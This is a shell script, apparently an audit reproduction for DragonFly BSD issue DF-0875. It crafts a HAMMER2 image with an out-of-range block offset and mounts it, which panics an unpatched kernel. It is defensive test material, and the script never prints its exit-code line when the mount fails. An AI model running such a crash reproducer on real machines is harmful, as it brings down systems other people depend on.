#!/bin/sh
# run.sh - Reproduce DF-0875: craft a malicious HAMMER2 image whose
# sroot_blockset.blockref[0].data_off points outside all mounted volumes,
# then mount it. On the UNPATCHED kernel this panics in hammer2_get_volume;
# on a FIXED kernel mount returns EINVAL cleanly.
#
# Must run as root on the DragonFly guest (mount_hammer2 requires root;
# vfs.usermount=0 on the audit guest).
#
# Usage: ./run.sh   (expects patch_image + verify_image already built by build.sh)
set -e
cd "$(dirname "$0")"
IMG=/root/df0875_test.img

echo "=== creating 256 MB hammer2 image ==="
rm -f "$IMG"
dd if=/dev/zero of="$IMG" bs=1m count=256 2>/dev/null
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 "$IMG"
newfs_hammer2 -L testfs /dev/vn0 >/dev/null 2>&1

echo "=== verifying original volume header CRCs ==="
./verify_image /dev/vn0

echo "=== patching sroot_blockset.blockref[0].data_off -> out-of-range ==="
./patch_image /dev/vn0

echo "=== verifying patched volume header CRCs (must still be valid) ==="
./verify_image /dev/vn0

echo "=== mounting corrupted image ==="
echo "    UNPATCHED kernel: expect panic 'no volume for offset 0x0040000000000000'"
echo "    PATCHED kernel:   expect 'mount: Invalid argument' (EINVAL), guest stays up"
mount -t hammer2 /dev/vn0@testfs /mnt 2>&1
RC=$?
echo "MOUNT_RC=$RC"

# cleanup if mount somehow succeeded
umount /mnt 2>/dev/null || true
vnconfig -u vn0 2>/dev/null || true